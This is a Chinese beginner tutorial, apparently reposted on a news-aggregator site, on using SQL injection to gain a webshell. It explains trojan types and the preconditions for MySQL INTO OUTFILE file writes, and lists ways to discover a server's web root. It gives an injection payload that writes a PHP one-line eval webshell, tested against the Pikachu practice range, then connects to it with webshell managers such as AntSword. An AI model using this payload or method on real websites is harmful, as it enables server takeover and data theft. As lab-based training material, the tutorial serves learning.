当前位置: 首页 > news >正文

【新手初学】SQL注入getshell

一、引入

木马介绍:


木马其实就是一段程序,这个程序运行到目标主机上时,主要可以对目标进行远程控制、盗取信息等功能,一般不会破坏目标主机,当然,这也看黑客是否想要搞破坏。

木马类型
按照功能分类:远控型、破坏型、流氓软件型、盗取信息型等等
按照连接方式分类:正向连接、反向连接、无连接等
按照功能大小分类:大马、小马、一句话木马

 
不同的开发语言,都可以写出这些木马程序,网上也能找到很多别人写好的木马程序拿来使用,但是使用别人的木马程序要小心程序中的后门,因为你的劳动成果很有可能被后门窃取了。

大致过程:
 

我们要通过sql注入点来写入一句话木马程序到目标服务器。 通过网址连接密码就可以连接上我们上传的一句话木马程序,通过工具(eg:菜刀,蚁剑,冰蝎,哥斯拉等)就可以控制目标主机了。
 
原理:其实就是该工具给我们上传的相应php文件中的一句话木马程序发送了post请求,并且携带了指令数据,数据格式 :jaden:系统指令eg:jaden:dir,那么一句话木马中 $_POST('jaden')取出dir这个字符串的值,eval这个程序就是将字符串的指令带入到系统中当作系统指令来执行。然后将执行结果返回给了工具,工具再显示出来。

 利用条件:

1.木马上传成功了(访问创建的木马程序时不会报错!)
2.知道木马的路径在哪里
3.上传的木马能够正常运行

一、SQL注入getshell前提条件

1.mysql开启了"secure_file_priv="""的配置
 
2.知道了网站代码的真实物理路径
 
3.物理路径具备写入权限
 
4.最好是mysql的root用户,这个条件非必需,但是有最好
如图:开启配置
[Jadenkal2021] [Win10_tools] [Jaden2003gongfan]

 补:

①mysql开启"secure_file_priv=""的配置:

在my.ini文件(上篇文章已具体介绍该文件在哪个位置,在这里不再具体说明)中添加--即可开启

 

②获得后台真实物理路径的方法

1、收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息
3、指纹信息收集
nginx默认站点目录:/usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache默认站点目录:/var/ww/html
4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
5、其他思路:不断进行尝试。

先来测试一下在数据库中用sql语句创建文件:

在相应目录下打开查看是否创建成功

二、测试

在pikachu靶场(依然以字符型注入为例)进行尝试(!!!一定要确定这里有注入点才可进行测试,否则无效)

①通过注入点(在数据库中先进行了测试)写入木马程序
 union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\IphpStudy\\PHPTutorial\\ww\\jaden.php"+--+
xx表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。

注入:

开始正式注入测试

在URL后面添加语句: union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\\IphpStudy\\PHPTutorial\ww\\jaden.php"+--+

文件效果: 

 只要这个'一句话木马程序' 在用sql语句创建的文件里,不论在哪个位置,都可以利用它!

利用工具连接:

 连接成功!

http://www.dtcms.com/a/98408.html

相关文章:

  • 1、C51单片机(STC8G2K64S4)串口实验
  • Java开发者指南:深入解析PBFT拜占庭容错算法
  • pycharm终端操作远程服务器
  • 【磁盘扩容】linux磁盘扩容
  • Koordinator-Metric查询
  • Python3基础库入门(个人学习用)
  • [ C语言 ] | 从0到1?
  • Redis设计与实现-哨兵
  • 分销商城小程序开发六大核心功能详解
  • 用react实现router路由
  • C++ 中名字的作用域、概念、嵌套与实践(十八)
  • Java基础-22-基本语法-实体类
  • 【MySQL篇】事务管理,事务的特性及深入理解隔离级别
  • Unity功能模块一对话系统(5)-完善对话流程及功能
  • Python针对大规模数据使用”sys模块加速I/O操作“:
  • 21天Python计划:函数简单介绍
  • PCBB印刷电路板缺陷检测YOLO数据集分享
  • LeetCode hot 100—两两交换链表中的节点
  • Redis场景问题1:缓存穿透
  • 用python压缩图片大小
  • 算法-广度优先搜索
  • WSL系统找不到指定的文件
  • 接口自动化——初识pytest
  • (头歌作业—python)3.2 个人所得税计算器(project)
  • 智能发光斑马线:点亮城市道路安全之光
  • DDR(Double Data Rate)详解
  • 云边端协同
  • vue 脚手架解决跨域问题
  • 2022年12月青少年软件编程(图形化)等级考试三级编程题
  • 在树莓派5(8G版)上运行Ollama + LLM